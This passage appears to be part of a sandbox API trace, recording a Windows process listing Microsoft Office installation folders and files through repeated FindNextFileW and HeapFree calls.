returned 1 [0287.218] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ed20a0 | out: hHeap=0x730000) returned 1 [0287.218] FindNextFileW (in: hFindFile=0x3e81fa8, lpFindFileData=0x2f7f584 | out: lpFindFileData=0x2f7f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114a91d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Document Themes 16", cAlternateFileName="DOCUME~1")) returned 1 [0287.227] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f020b8 | out: hHeap=0x730000) returned 1 [0287.227] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11377f40, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11482f7f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Theme Effects", cAlternateFileName="THEMEE~1")) returned 1 [0287.229] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f020b8 | out: hHeap=0x730000) returned 1 [0287.229] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11436ace, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x115da4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115da4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Theme Fonts", cAlternateFileName="THEMEF~1")) returned 1 [0287.232] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f020b8 | out: hHeap=0x730000) returned 1 [0287.233] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114a91d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11567da2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbc7c1, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Wisp.thmx", cAlternateFileName="WISP~1.THM")) returned 1 [0287.233] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ed20a0 | out: hHeap=0x730000) returned 1 [0287.233] FindNextFileW (in: hFindFile=0x3e81fa8, lpFindFileData=0x2f7f584 | out: lpFindFileData=0x2f7f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x114f5747, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114f5747, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Flattener", cAlternateFileName="FLATTE~1")) returned 1 [0287.235] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ed20a0 | out: hHeap=0x730000) returned 1 [0287.235] FindNextFileW (in: hFindFile=0x3e81fa8, lpFindFileData=0x2f7f584 | out: lpFindFileData=0x2f7f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x115da4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115da4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fre", cAlternateFileName="")) returned 1 [0287.410] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ed20a0 | out: hHeap=0x730000) returned 1 [0287.410] FindNextFileW (in: hFindFile=0x3e81fa8, lpFindFileData=0x2f7f584 | out: lpFindFileData=0x2f7f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd1f5fb21, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b2abe77, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b2abe77, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Integration", cAlternateFileName="INTEGR~1")) returned 1 [0287.414] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ed20a0 | out: hHeap=0x730000) returned 1 [0287.414] FindNextFileW (in: hFindFile=0x3e81fa8, lpFindFileData=0x2f7f584 | out: lpFindFileData=0x2f7f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe2687c83, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee308135, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xee308135, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Licenses16", cAlternateFileName="LICENS~1")) returned 1 [0287.444] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ed20a0 | out: hHeap=0x730000) returned 1 [0287.444] FindNextFileW (in: hFindFile=0x3e81fa8, lpFindFileData=0x2f7f584 | out: lpFindFileData=0x2f7f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee45f66d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x983c2c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="loc", cAlternateFileName="")) returned 1 [0287.444] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ed20a0 | out: hHeap=0x730000) returned 1 [0287.444] FindNextFileW (in: hFindFile=0x3e81fa8, lpFindFileData=0x2f7f584 | out: lpFindFileData=0x2f7f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mcxml", cAlternateFileName="")) returned 1 [0287.505] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f020b8 | out: hHeap=0x730000) returned 1 [0287.505] FindNextFileW (in: hFindFile=0x3e81928, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99dfc61, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x99dfc61, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x99dfc61, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0287.505] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f020b8 | out: hHeap=0x730000) returned 1 [0287.505] FindNextFileW (in: hFindFile=0x3e81928, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99473dc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x99473dc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x99473dc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0287.505] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f020b8 | out: hHeap=0x730000) returned 1 [0287.505] FindNextFileW (in: hFindFile=0x3e81928, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1164cbcb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3b9607ff, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b9607ff, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="x-none", cAlternateFileName="")) returned 1 [0287.506] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f020b8 | out: hHeap=0x730000) returned 1 [0287.506] FindNextFileW (in: hFindFile=0x3e81928, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1164cbcb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3b9607ff, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b9607ff, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="x-none", cAlternateFileName="")) returned 0 [0287.506] FindClose (in: hFindFile=0x3e81928 | out: hFindFile=0x3e81928) returned 1 [0287.506] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ed20a0 | out: hHeap=0x730000) returned 1 [0287.506] FindNextFileW (in: hFindFile=0x3e81fa8, lpFindFileData=0x2f7f584 | out: lpFindFileData=0x2f7f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3c29db74, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3c29db74, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Office16", cAlternateFileName="")) returned 1 [0287.507] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3eb2090 | out: hHeap=0x730000) returned 1 [0287.507] FindNextFileW (in: hFindFile=0x3e81da8, lpFindFileData=0x2f7f08c | out: lpFindFileData=0x2f7f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a96a42, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1a96a42, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x1abcabc, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xde78, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BSTORM.VSL", cAlternateFileName="")) returned 1 [0287.508] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3eb2090 | out: hHeap=0x730000) returned 1 [0287.508] FindNextFileW (in: hFindFile=0x3e81da8, lpFindFileData=0x2f7f08c | out: lpFindFileData=0x2f7f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x45a7036, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x45a7036, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4619706, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x7c000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DBSAMPLE.MDB", cAlternateFileName="")) returned 1 [0287.518] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3eb2090 | out: hHeap=0x730000) returned 1 [0287.518] FindNextFileW (in: hFindFile=0x3e81da8, lpFindFileData=0x2f7f08c | out: lpFindFileData=0x2f7f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xacf29e7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PUBSPAPR", cAlternateFileName="")) returned 1 [0287.525] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3eb2090 | out: hHeap=0x730000) returned 1 [0287.525] FindNextFileW (in: hFindFile=0x3e81da8, lpFindFileData=0x2f7f08c | out: lpFindFileData=0x2f7f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc79af6a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcc79af6a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcc7c11d2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1fc48, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PUBWZINT.DLL", cAlternateFileName="")) returned 1 [0287.527] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3eb2090 | out: hHeap=0x730000) returned 1 [0287.527] FindNextFileW (in: hFindFile=0x3e81da8, lpFindFileData=0x2f7f08c | out: lpFindFileData=0x2f7f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x42ca, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ReviewRouting_Init.xsn", cAlternateFileName="REVIEW~1.XSN")) returned 1 [0287.530] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f020b8 | out: hHeap=0x730000) returned 1 [0287.530] FindNextFileW (in: hFindFile=0x3e81ce8, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d440f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d440f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4d440f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="1036", cAlternateFileName="")) returned 1 [0287.530] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f020b8 | out: hHeap=0x730000) returned 1 [0287.530] FindNextFileW (in: hFindFile=0x3e81ce8, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d440f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d440f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4d440f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="3082", cAlternateFileName="")) returned 1 [0287.530] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f020b8 | out: hHeap=0x730000) returned 1 [0287.530] FindNextFileW (in: hFindFile=0x3e81ce8, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1295fc19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x12985c4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="AccessWeb", cAlternateFileName="ACCESS~1")) returned 1 [0287.531] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f020b8 | out: hHeap=0x730000) returned 1 [0287.531] FindNextFileW (in: hFindFile=0x3e81ce8, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1295fc19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1306082b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x393a40, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ACCICONS.EXE", cAlternateFileName="")) returned 1 [0287.532] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f020b8 | out: hHeap=0x730000) returned 1 [0287.532] FindNextFileW (in: hFindFile=0x3e81ce8, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda173cc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb6c7584, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x33860, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ACCWIZ.DLL", cAlternateFileName="")) returned 1 [0287.535] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0287.535] FindNextFileW (in: hFindFile=0x3e81de8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf480feb5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x18157e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18157e1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bg", cAlternateFileName="")) returned 1 [0287.537] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0287.537] FindNextFileW (in: hFindFile=0x3e81de8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x61b241f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x61b241f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ca", cAlternateFileName="")) returned 1 [0287.538] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0287.538] FindNextFileW (in: hFindFile=0x3e81de8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf134fca5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2ee20e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ee20e1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="cs", cAlternateFileName="")) returned 1 [0287.539] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0287.539] FindNextFileW (in: hFindFile=0x3e81de8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c164a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6866e01, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6866e01, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="da", cAlternateFileName="")) returned 1 [0287.548] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0287.548] FindNextFileW (in: hFindFile=0x3e81de8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x624ad43, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x624ad43, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="de", cAlternateFileName="")) returned 1 [0287.675] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0287.675] FindNextFileW (in: hFindFile=0x3e81de8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf472b09c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf472b09c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf475131d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4fe050, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DocumentFormat.OpenXml.dll", cAlternateFileName="DOCUME~1.DLL")) returned 1 [0287.677] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0287.677] FindNextFileW (in: hFindFile=0x3e81de8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf47e9c8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="es", cAlternateFileName="")) returned 1 [0287.678] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0287.678] FindNextFileW (in: hFindFile=0x3e81de8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0df27d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8719376, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8719376, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="et", cAlternateFileName="")) returned 1 [0287.680] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0287.680] FindNextFileW (in: hFindFile=0x3e81de8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf41cdbc1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x69980f7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x69980f7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eu", cAlternateFileName="")) returned 1 [0287.689] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0287.689] FindNextFileW (in: hFindFile=0x3e81de8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x56d17f1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56d17f1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x56d17f1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13c40, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EventSource.dll", cAlternateFileName="EVENTS~1.DLL")) returned 1 [0287.690] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0287.691] FindNextFileW (in: hFindFile=0x3e81de8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr", cAlternateFileName="")) returned 1 [0287.693] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0287.693] FindNextFileW (in: hFindFile=0x3e81de8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e0a643, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x675bda6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x675bda6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="gl", cAlternateFileName="")) returned 1 [0287.694] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0287.694] FindNextFileW (in: hFindFile=0x3e81de8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c8cf9c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="he", cAlternateFileName="")) returned 1 [0287.695] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0287.695] FindNextFileW (in: hFindFile=0x3e81de8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf43e3cb7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6c93006, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6c93006, ftLastWriteTime.dwHighDateTime=0x1d327e8, 